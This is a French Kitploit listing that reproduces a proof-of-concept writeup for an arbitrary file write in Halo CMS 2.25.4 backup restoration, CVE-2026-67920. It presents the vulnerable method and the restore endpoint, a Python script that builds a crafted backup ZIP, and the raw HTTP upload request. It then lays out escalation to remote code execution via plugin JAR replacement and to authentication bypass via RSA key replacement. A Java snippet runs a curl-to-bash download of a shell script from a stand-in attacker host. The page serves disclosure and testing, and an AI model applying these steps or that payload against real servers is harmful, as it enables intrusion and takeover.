Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Preuve de concept d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier dans la restauration de sauvegarde de Halo CMS, permettant une exécution de code à distance (RCE) via le remplacement de plugin JAR ou un contournement d'authentification. | Kitploit
Outils/
GitHub
GitHub
/unpredictable21
/halo-2.25.4-backup-write-cve-2026-67920
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Preuve de concept d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier dans la restauration de sauvegarde de Halo CMS, permettant une exécution de code à distance (RCE) via le remplacement de plugin JAR ou un contournement d'authentification.

Voir le dépôt
18il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité d'écriture arbitraire de fichiers lors de la restauration de sauvegarde dans Halo CMS

Résumé

Une vulnérabilité critique d'écriture arbitraire de fichiers existe dans la fonctionnalité de restauration de sauvegarde de Halo CMS jusqu'à la version 2.25.4. La méthode restoreWorkdir() dans MigrationServiceImpl.java copie le répertoire workdir/ d'une archive de sauvegarde fournie par l'utilisateur directement vers le répertoire de travail de l'application Halo (~/.halo2/) sans aucune validation des types de fichiers, protection contre les traversées de chemins ou vérification des liens symboliques. Un attaquant authentifié disposant des privilèges de gestion des sauvegardes peut créer un fichier ZIP de sauvegarde malveillant contenant des fichiers arbitraires dans le répertoire workdir/, qui seront écrits dans le répertoire de travail du serveur lors de la restauration, pouvant potentiellement conduire à une exécution de code à distance (RCE) via le remplacement de JAR de plugin ou à un contournement d'authentification via le remplacement de clés RSA.

Score CVSS v3.1 : 8,8 (Élevé)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-73 (Contrôle externe du nom ou du chemin de fichier)


Versions affectées

  • Halo CMS ≤ 2.25.4
  • Toutes les versions avec fonctionnalité de restauration de sauvegarde

Détails de la vulnérabilité

Cause racine

La vulnérabilité réside dans la méthode restoreWorkdir() de MigrationServiceImpl.java (lignes 230-243) :

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // LIGNE VULNÉRABLE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

La méthode copyRecursively() (FileSystemUtils de Spring) effectue une copie récursive sans :

  1. Validation du type de fichier - Aucune vérification des extensions de fichier ou des types MIME
  2. Protection contre les traversées de chemins - Aucune vérification des séquences .. dans les noms de fichiers
  3. Détection des liens symboliques - Aucune vérification des liens symboliques
  4. Limites de taille de fichier - Aucune restriction sur la taille des fichiers
  5. Protection contre l'écrasement - Écrase silencieusement les fichiers existants

Vecteur d'attaque

La vulnérabilité est déclenchée via le point de terminaison de restauration de sauvegarde :

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

Le processus de restauration suit cette séquence :

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extraire le ZIP vers un répertoire temporaire │
│  2. restoreExtensions() → Restaurer extensions.data         │
│  3. restoreWorkdir() → Copier workdir/ vers ~/.halo2/       │
│     ↑ Écriture de fichiers arbitraires dans le répertoire de travail │
└─────────────────────────────────────────────────────────────┘

Structure de sauvegarde malveillante

Un fichier ZIP de sauvegarde malveillant doit contenir :

malicious-backup.zip
├── extensions.data          # Requis : Peut être vide ou contenir du JSONL valide
└── workdir/                 # Requis : Le contenu est copié vers ~/.halo2/
    ├── PWNED_BY_POC.txt     # Fichier marqueur de preuve de concept
    ├── plugins/             # JAR de plugins pour RCE
    │   └── evil-plugin.jar  # Plugin malveillant
    └── keys/                # Clés RSA pour contournement d'authentification
        ├── pat_id_rsa       # Clé privée malveillante
        └── pat_id_rsa.pub   # Clé publique malveillante

Format de extensions.data

Le fichier extensions.data doit être valide pour que restoreExtensions() réussisse. Les formats valides incluent :

  1. Fichier vide : (contenu vide)

  2. Ligne vide : \n (saut de ligne uniquement)

  3. JSONL valide : Un objet ExtensionStore par ligne :

    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Où data est un contenu encodé en base64.


Étapes d'exploitation

Prérequis

  • Utilisateur authentifié avec privilèges de gestion des sauvegardes
  • Accès réseau à l'API Halo

Étape 1 : Créer une sauvegarde malveillante

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # extensions.data vide (passe la validation restoreExtensions)
    zf.writestr('extensions.data', '\n')

    # Fichier arbitraire à écrire vers ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Écriture de fichier arbitraire confirmée !')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Étape 2 : Téléverser la sauvegarde malveillante

Adresse de gestion des sauvegardes côté frontend : http://ip:port/console/backup

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<Contenu binaire du fichier ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Étape 3 : Vérifier le fichier écrit

# Sur le serveur Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Analyse d'impact

Impact direct

  1. Écriture de fichier arbitraire : L'attaquant peut écrire n'importe quel fichier dans ~/.halo2/
  2. Écrasement de fichiers : Les fichiers existants sont silencieusement écrasés

Scénarios d'escalade

Vecteur d'attaqueFichier cibleImpactSévérité
Remplacement de JAR de plugin~/.halo2/plugins/*.jarExécution de code à distanceCritique
Remplacement de clé RSA~/.halo2/keys/pat_id_rsaContournement d'authentificationCritique
Remplacement de thème~/.halo2/themes/*XSS stockéÉlevé
Écrasement de configuration~/.halo2/*.yamlContournement des contrôles de sécuritéÉlevé

RCE via remplacement de JAR de plugin

Un attaquant peut remplacer un JAR de plugin légitime par un JAR malveillant contenant :

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Exécuter une commande arbitraire
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Lorsque le plugin est chargé, le code malveillant s'exécute avec les privilèges du processus Halo.


Télécharger l’outil